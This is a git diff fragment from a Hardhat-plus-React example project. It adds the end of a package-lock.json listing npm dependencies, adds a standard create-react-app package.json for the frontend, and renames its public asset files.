+          }
+        }
+      }
+    },
+    "webpack-dev-server": {
+      "version": "4.11.1",
+      "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.11.1.tgz",
+      "integrity": "sha512-lILVz9tAUy1zGFwieuaQtYiadImb5M3d+H+L1zDYalYoDl0cksAB1UNyuE5MMWJrG6zR1tXkCP2fitl7yoUJiw==",
+      "requires": {
+        "@types/bonjour": "^3.5.9",
+        "@types/connect-history-api-fallback": "^1.3.5",
+        "@types/express": "^4.17.13",
+        "@types/serve-index": "^1.9.1",
+        "@types/serve-static": "^1.13.10",
+        "@types/sockjs": "^0.3.33",
+        "@types/ws": "^8.5.1",
+        "ansi-html-community": "^0.0.8",
+        "bonjour-service": "^1.0.11",
+        "chokidar": "^3.5.3",
+        "colorette": "^2.0.10",
+        "compression": "^1.7.4",
+        "connect-history-api-fallback": "^2.0.0",
+        "default-gateway": "^6.0.3",
+        "express": "^4.17.3",
+        "graceful-fs": "^4.2.6",
+        "html-entities": "^2.3.2",
+        "http-proxy-middleware": "^2.0.3",
+        "ipaddr.js": "^2.0.1",
+        "open": "^8.0.9",
+        "p-retry": "^4.5.0",
+        "rimraf": "^3.0.2",
+        "schema-utils": "^4.0.0",
+        "selfsigned": "^2.1.1",
+        "serve-index": "^1.9.1",
+        "sockjs": "^0.3.24",
+        "spdy": "^4.0.2",
+        "webpack-dev-middleware": "^5.3.1",
+        "ws": "^8.4.2"
+      },
+      "dependencies": {
+        "ajv": {
+          "version": "8.11.0",
+          "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz",
+          "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==",
+          "requires": {
+            "fast-deep-equal": "^3.1.1",
+            "json-schema-traverse": "^1.0.0",
+            "require-from-string": "^2.0.2",
+            "uri-js": "^4.2.2"
+          }
+        },
+        "ajv-keywords": {
+          "version": "5.1.0",
+          "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
+          "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
+          "requires": {
+            "fast-deep-equal": "^3.1.3"
+          }
+        },
+        "json-schema-traverse": {
+          "version": "1.0.0",
+          "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+          "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
+        },
+        "schema-utils": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz",
+          "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==",
+          "requires": {
+            "@types/json-schema": "^7.0.9",
+            "ajv": "^8.8.0",
+            "ajv-formats": "^2.1.1",
+            "ajv-keywords": "^5.0.0"
+          }
+        },
+        "ws": {
+          "version": "8.9.0",
+          "resolved": "https://registry.npmjs.org/ws/-/ws-8.9.0.tgz",
+          "integrity": "sha512-Ja7nszREasGaYUYCI2k4lCKIRTt+y7XuqVoHR44YpI49TtryyqbqvDMn5eqfW7e6HzTukDRIsXqzVHScqRcafg==",
+          "requires": {}
+        }
+      }
+    },
+    "webpack-manifest-plugin": {
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/webpack-manifest-plugin/-/webpack-manifest-plugin-4.1.1.tgz",
+      "integrity": "sha512-YXUAwxtfKIJIKkhg03MKuiFAD72PlrqCiwdwO4VEXdRO5V0ORCNwaOwAZawPZalCbmH9kBDmXnNeQOw+BIEiow==",
+      "requires": {
+        "tapable": "^2.0.0",
+        "webpack-sources": "^2.2.0"
+      },
+      "dependencies": {
+        "webpack-sources": {
+          "version": "2.3.1",
+          "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-2.3.1.tgz",
+          "integrity": "sha512-y9EI9AO42JjEcrTJFOYmVywVZdKVUfOvDUPsJea5GIr1JOEGFVqwlY2K098fFoIjOkDzHn2AjRvM8dsBZu+gCA==",
+          "requires": {
+            "source-list-map": "^2.0.1",
+            "source-map": "^0.6.1"
+          }
+        }
+      }
+    },
+    "webpack-sources": {
+      "version": "3.2.3",
+      "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz",
+      "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w=="
+    },
+    "websocket-driver": {
+      "version": "0.7.4",
+      "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz",
+      "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==",
+      "requires": {
+        "http-parser-js": ">=0.5.1",
+        "safe-buffer": ">=5.1.0",
+        "websocket-extensions": ">=0.1.1"
+      }
+    },
+    "websocket-extensions": {
+      "version": "0.1.4",
+      "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz",
+      "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg=="
+    },
+    "whatwg-encoding": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz",
+      "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==",
+      "requires": {
+        "iconv-lite": "0.4.24"
+      },
+      "dependencies": {
+        "iconv-lite": {
+          "version": "0.4.24",
+          "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
+          "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
+          "requires": {
+            "safer-buffer": ">= 2.1.2 < 3"
+          }
+        }
+      }
+    },
+    "whatwg-fetch": {
+      "version": "3.6.2",
+      "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.2.tgz",
+      "integrity": "sha512-bJlen0FcuU/0EMLrdbJ7zOnW6ITZLrZMIarMUVmdKtsGvZna8vxKYaexICWPfZ8qwf9fzNq+UEIZrnSaApt6RA=="
+    },
+    "whatwg-mimetype": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz",
+      "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g=="
+    },
+    "whatwg-url": {
+      "version": "8.7.0",
+      "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-8.7.0.tgz",
+      "integrity": "sha512-gAojqb/m9Q8a5IV96E3fHJM70AzCkgt4uXYX2O7EmuyOnLrViCQlsEBmF9UQIu3/aeAIp2U17rtbpZWNntQqdg==",
+      "requires": {
+        "lodash": "^4.7.0",
+        "tr46": "^2.1.0",
+        "webidl-conversions": "^6.1.0"
+      }
+    },
+    "which": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+      "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+      "requires": {
+        "isexe": "^2.0.0"
+      }
+    },
+    "which-boxed-primitive": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz",
+      "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==",
+      "requires": {
+        "is-bigint": "^1.0.1",
+        "is-boolean-object": "^1.1.0",
+        "is-number-object": "^1.0.4",
+        "is-string": "^1.0.5",
+        "is-symbol": "^1.0.3"
+      }
+    },
+    "word-wrap": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.4.tgz",
+      "integrity": "sha512-2V81OA4ugVo5pRo46hAoD2ivUJx8jXmWXfUkY4KFNw0hEptvN0QfH3K4nHiwzGeKl5rFKedV48QVoqYavy4YpA=="
+    },
+    "workbox-background-sync": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-background-sync/-/workbox-background-sync-6.5.4.tgz",
+      "integrity": "sha512-0r4INQZMyPky/lj4Ou98qxcThrETucOde+7mRGJl13MPJugQNKeZQOdIJe/1AchOP23cTqHcN/YVpD6r8E6I8g==",
+      "requires": {
+        "idb": "^7.0.1",
+        "workbox-core": "6.5.4"
+      }
+    },
+    "workbox-broadcast-update": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-broadcast-update/-/workbox-broadcast-update-6.5.4.tgz",
+      "integrity": "sha512-I/lBERoH1u3zyBosnpPEtcAVe5lwykx9Yg1k6f8/BGEPGaMMgZrwVrqL1uA9QZ1NGGFoyE6t9i7lBjOlDhFEEw==",
+      "requires": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "workbox-build": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-build/-/workbox-build-6.5.4.tgz",
+      "integrity": "sha512-kgRevLXEYvUW9WS4XoziYqZ8Q9j/2ziJYEtTrjdz5/L/cTUa2XfyMP2i7c3p34lgqJ03+mTiz13SdFef2POwbA==",
+      "requires": {
+        "@apideck/better-ajv-errors": "^0.3.1",
+        "@babel/core": "^7.11.1",
+        "@babel/preset-env": "^7.11.0",
+        "@babel/runtime": "^7.11.2",
+        "@rollup/plugin-babel": "^5.2.0",
+        "@rollup/plugin-node-resolve": "^11.2.1",
+        "@rollup/plugin-replace": "^2.4.1",
+        "@surma/rollup-plugin-off-main-thread": "^2.2.3",
+        "ajv": "^8.6.0",
+        "common-tags": "^1.8.0",
+        "fast-json-stable-stringify": "^2.1.0",
+        "fs-extra": "^9.0.1",
+        "glob": "^7.1.6",
+        "lodash": "^4.17.20",
+        "pretty-bytes": "^5.3.0",
+        "rollup": "^2.43.1",
+        "rollup-plugin-terser": "^7.0.0",
+        "source-map": "^0.8.0-beta.0",
+        "stringify-object": "^3.3.0",
+        "strip-comments": "^2.0.1",
+        "tempy": "^0.6.0",
+        "upath": "^1.2.0",
+        "workbox-background-sync": "6.5.4",
+        "workbox-broadcast-update": "6.5.4",
+        "workbox-cacheable-response": "6.5.4",
+        "workbox-core": "6.5.4",
+        "workbox-expiration": "6.5.4",
+        "workbox-google-analytics": "6.5.4",
+        "workbox-navigation-preload": "6.5.4",
+        "workbox-precaching": "6.5.4",
+        "workbox-range-requests": "6.5.4",
+        "workbox-recipes": "6.5.4",
+        "workbox-routing": "6.5.4",
+        "workbox-strategies": "6.5.4",
+        "workbox-streams": "6.5.4",
+        "workbox-sw": "6.5.4",
+        "workbox-window": "6.5.4"
+      },
+      "dependencies": {
+        "@apideck/better-ajv-errors": {
+          "version": "0.3.6",
+          "resolved": "https://registry.npmjs.org/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.6.tgz",
+          "integrity": "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==",
+          "requires": {
+            "json-schema": "^0.4.0",
+            "jsonpointer": "^5.0.0",
+            "leven": "^3.1.0"
+          }
+        },
+        "ajv": {
+          "version": "8.11.0",
+          "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz",
+          "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==",
+          "requires": {
+            "fast-deep-equal": "^3.1.1",
+            "json-schema-traverse": "^1.0.0",
+            "require-from-string": "^2.0.2",
+            "uri-js": "^4.2.2"
+          }
+        },
+        "fs-extra": {
+          "version": "9.1.0",
+          "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
+          "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
+          "requires": {
+            "at-least-node": "^1.0.0",
+            "graceful-fs": "^4.2.0",
+            "jsonfile": "^6.0.1",
+            "universalify": "^2.0.0"
+          }
+        },
+        "json-schema-traverse": {
+          "version": "1.0.0",
+          "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+          "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
+        },
+        "source-map": {
+          "version": "0.8.0-beta.0",
+          "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.8.0-beta.0.tgz",
+          "integrity": "sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==",
+          "requires": {
+            "whatwg-url": "^7.0.0"
+          }
+        },
+        "tr46": {
+          "version": "1.0.1",
+          "resolved": "https://registry.npmjs.org/tr46/-/tr46-1.0.1.tgz",
+          "integrity": "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==",
+          "requires": {
+            "punycode": "^2.1.0"
+          }
+        },
+        "webidl-conversions": {
+          "version": "4.0.2",
+          "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-4.0.2.tgz",
+          "integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg=="
+        },
+        "whatwg-url": {
+          "version": "7.1.0",
+          "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-7.1.0.tgz",
+          "integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==",
+          "requires": {
+            "lodash.sortby": "^4.7.0",
+            "tr46": "^1.0.1",
+            "webidl-conversions": "^4.0.2"
+          }
+        }
+      }
+    },
+    "workbox-cacheable-response": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-cacheable-response/-/workbox-cacheable-response-6.5.4.tgz",
+      "integrity": "sha512-DCR9uD0Fqj8oB2TSWQEm1hbFs/85hXXoayVwFKLVuIuxwJaihBsLsp4y7J9bvZbqtPJ1KlCkmYVGQKrBU4KAug==",
+      "requires": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "workbox-core": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-core/-/workbox-core-6.5.4.tgz",
+      "integrity": "sha512-OXYb+m9wZm8GrORlV2vBbE5EC1FKu71GGp0H4rjmxmF4/HLbMCoTFws87M3dFwgpmg0v00K++PImpNQ6J5NQ6Q=="
+    },
+    "workbox-expiration": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-expiration/-/workbox-expiration-6.5.4.tgz",
+      "integrity": "sha512-jUP5qPOpH1nXtjGGh1fRBa1wJL2QlIb5mGpct3NzepjGG2uFFBn4iiEBiI9GUmfAFR2ApuRhDydjcRmYXddiEQ==",
+      "requires": {
+        "idb": "^7.0.1",
+        "workbox-core": "6.5.4"
+      }
+    },
+    "workbox-google-analytics": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-google-analytics/-/workbox-google-analytics-6.5.4.tgz",
+      "integrity": "sha512-8AU1WuaXsD49249Wq0B2zn4a/vvFfHkpcFfqAFHNHwln3jK9QUYmzdkKXGIZl9wyKNP+RRX30vcgcyWMcZ9VAg==",
+      "requires": {
+        "workbox-background-sync": "6.5.4",
+        "workbox-core": "6.5.4",
+        "workbox-routing": "6.5.4",
+        "workbox-strategies": "6.5.4"
+      }
+    },
+    "workbox-navigation-preload": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-navigation-preload/-/workbox-navigation-preload-6.5.4.tgz",
+      "integrity": "sha512-IIwf80eO3cr8h6XSQJF+Hxj26rg2RPFVUmJLUlM0+A2GzB4HFbQyKkrgD5y2d84g2IbJzP4B4j5dPBRzamHrng==",
+      "requires": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "workbox-precaching": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-precaching/-/workbox-precaching-6.5.4.tgz",
+      "integrity": "sha512-hSMezMsW6btKnxHB4bFy2Qfwey/8SYdGWvVIKFaUm8vJ4E53JAY+U2JwLTRD8wbLWoP6OVUdFlXsTdKu9yoLTg==",
+      "requires": {
+        "workbox-core": "6.5.4",
+        "workbox-routing": "6.5.4",
+        "workbox-strategies": "6.5.4"
+      }
+    },
+    "workbox-range-requests": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-range-requests/-/workbox-range-requests-6.5.4.tgz",
+      "integrity": "sha512-Je2qR1NXCFC8xVJ/Lux6saH6IrQGhMpDrPXWZWWS8n/RD+WZfKa6dSZwU+/QksfEadJEr/NfY+aP/CXFFK5JFg==",
+      "requires": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "workbox-recipes": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-recipes/-/workbox-recipes-6.5.4.tgz",
+      "integrity": "sha512-QZNO8Ez708NNwzLNEXTG4QYSKQ1ochzEtRLGaq+mr2PyoEIC1xFW7MrWxrONUxBFOByksds9Z4//lKAX8tHyUA==",
+      "requires": {
+        "workbox-cacheable-response": "6.5.4",
+        "workbox-core": "6.5.4",
+        "workbox-expiration": "6.5.4",
+        "workbox-precaching": "6.5.4",
+        "workbox-routing": "6.5.4",
+        "workbox-strategies": "6.5.4"
+      }
+    },
+    "workbox-routing": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-routing/-/workbox-routing-6.5.4.tgz",
+      "integrity": "sha512-apQswLsbrrOsBUWtr9Lf80F+P1sHnQdYodRo32SjiByYi36IDyL2r7BH1lJtFX8fwNHDa1QOVY74WKLLS6o5Pg==",
+      "requires": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "workbox-strategies": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-strategies/-/workbox-strategies-6.5.4.tgz",
+      "integrity": "sha512-DEtsxhx0LIYWkJBTQolRxG4EI0setTJkqR4m7r4YpBdxtWJH1Mbg01Cj8ZjNOO8etqfA3IZaOPHUxCs8cBsKLw==",
+      "requires": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "workbox-streams": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-streams/-/workbox-streams-6.5.4.tgz",
+      "integrity": "sha512-FXKVh87d2RFXkliAIheBojBELIPnWbQdyDvsH3t74Cwhg0fDheL1T8BqSM86hZvC0ZESLsznSYWw+Va+KVbUzg==",
+      "requires": {
+        "workbox-core": "6.5.4",
+        "workbox-routing": "6.5.4"
+      }
+    },
+    "workbox-sw": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-sw/-/workbox-sw-6.5.4.tgz",
+      "integrity": "sha512-vo2RQo7DILVRoH5LjGqw3nphavEjK4Qk+FenXeUsknKn14eCNedHOXWbmnvP4ipKhlE35pvJ4yl4YYf6YsJArA=="
+    },
+    "workbox-webpack-plugin": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-webpack-plugin/-/workbox-webpack-plugin-6.5.4.tgz",
+      "integrity": "sha512-LmWm/zoaahe0EGmMTrSLUi+BjyR3cdGEfU3fS6PN1zKFYbqAKuQ+Oy/27e4VSXsyIwAw8+QDfk1XHNGtZu9nQg==",
+      "requires": {
+        "fast-json-stable-stringify": "^2.1.0",
+        "pretty-bytes": "^5.4.1",
+        "upath": "^1.2.0",
+        "webpack-sources": "^1.4.3",
+        "workbox-build": "6.5.4"
+      },
+      "dependencies": {
+        "webpack-sources": {
+          "version": "1.4.3",
+          "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz",
+          "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==",
+          "requires": {
+            "source-list-map": "^2.0.0",
+            "source-map": "~0.6.1"
+          }
+        }
+      }
+    },
+    "workbox-window": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-window/-/workbox-window-6.5.4.tgz",
+      "integrity": "sha512-HnLZJDwYBE+hpG25AQBO8RUWBJRaCsI9ksQJEp3aCOFCaG5kqaToAYXFRAHxzRluM2cQbGzdQF5rjKPWPA1fug==",
+      "requires": {
+        "@types/trusted-types": "^2.0.2",
+        "workbox-core": "6.5.4"
+      }
+    },
+    "wrap-ansi": {
+      "version": "7.0.0",
+      "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
+      "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
+      "requires": {
+        "ansi-styles": "^4.0.0",
+        "string-width": "^4.1.0",
+        "strip-ansi": "^6.0.0"
+      },
+      "dependencies": {
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        }
+      }
+    },
+    "wrappy": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+      "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="
+    },
+    "write-file-atomic": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz",
+      "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==",
+      "requires": {
+        "imurmurhash": "^0.1.4",
+        "is-typedarray": "^1.0.0",
+        "signal-exit": "^3.0.2",
+        "typedarray-to-buffer": "^3.1.5"
+      }
+    },
+    "ws": {
+      "version": "7.5.9",
+      "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz",
+      "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==",
+      "requires": {}
+    },
+    "xml-name-validator": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-3.0.0.tgz",
+      "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw=="
+    },
+    "xmlchars": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
+      "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw=="
+    },
+    "xtend": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
+      "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ=="
+    },
+    "y18n": {
+      "version": "5.0.8",
+      "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
+      "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA=="
+    },
+    "yallist": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
+    },
+    "yaml": {
+      "version": "1.10.2",
+      "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz",
+      "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg=="
+    },
+    "yargs": {
+      "version": "16.2.0",
+      "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
+      "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
+      "requires": {
+        "cliui": "^7.0.2",
+        "escalade": "^3.1.1",
+        "get-caller-file": "^2.0.5",
+        "require-directory": "^2.1.1",
+        "string-width": "^4.2.0",
+        "y18n": "^5.0.5",
+        "yargs-parser": "^20.2.2"
+      }
+    },
+    "yargs-parser": {
+      "version": "20.2.9",
+      "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz",
+      "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w=="
+    },
+    "yocto-queue": {
+      "version": "0.1.0",
+      "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",
+      "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q=="
+    }
+  }
+}
diff --git a/basic/09-hardhat-react/frontend/package.json b/basic/09-hardhat-react/frontend/package.json
new file mode 100644
index 000000000..8373d0bc1
--- /dev/null
+++ b/basic/09-hardhat-react/frontend/package.json
@@ -0,0 +1,35 @@
+{
+  "name": "frontend",
+  "version": "0.1.0",
+  "private": true,
+  "dependencies": {
+    "@testing-library/jest-dom": "^4.2.4",
+    "@testing-library/react": "^9.5.0",
+    "@testing-library/user-event": "^7.2.1",
+    "bootstrap": "^4.4.1",
+    "react": "^16.13.1",
+    "react-dom": "^16.13.1",
+    "react-scripts": "5.0.1"
+  },
+  "scripts": {
+    "start": "react-scripts start",
+    "build": "react-scripts build",
+    "test": "react-scripts test",
+    "eject": "react-scripts eject"
+  },
+  "eslintConfig": {
+    "extends": "react-app"
+  },
+  "browserslist": {
+    "production": [
+      ">0.2%",
+      "not dead",
+      "not op_mini all"
+    ],
+    "development": [
+      "last 1 chrome version",
+      "last 1 firefox version",
+      "last 1 safari version"
+    ]
+  }
+}
diff --git a/Example09-hardhat-react/frontend/public/favicon.ico b/basic/09-hardhat-react/frontend/public/favicon.ico
similarity index 100%
rename from Example09-hardhat-react/frontend/public/favicon.ico
rename to basic/09-hardhat-react/frontend/public/favicon.ico
diff --git a/Example09-hardhat-react/frontend/public/index.html b/basic/09-hardhat-react/frontend/public/index.html
similarity index 100%
rename from Example09-hardhat-react/frontend/public/index.html
rename to basic/09-hardhat-react/frontend/public/index.html
diff --git a/Example09-hardhat-react/frontend/public/logo192.png b/basic/09-hardhat-react/frontend/public/logo192.png
similarity index 100%
rename from Example09-hardhat-react/frontend/public/logo192.png
rename to basic/09-hardhat-react/frontend/public/logo192.png
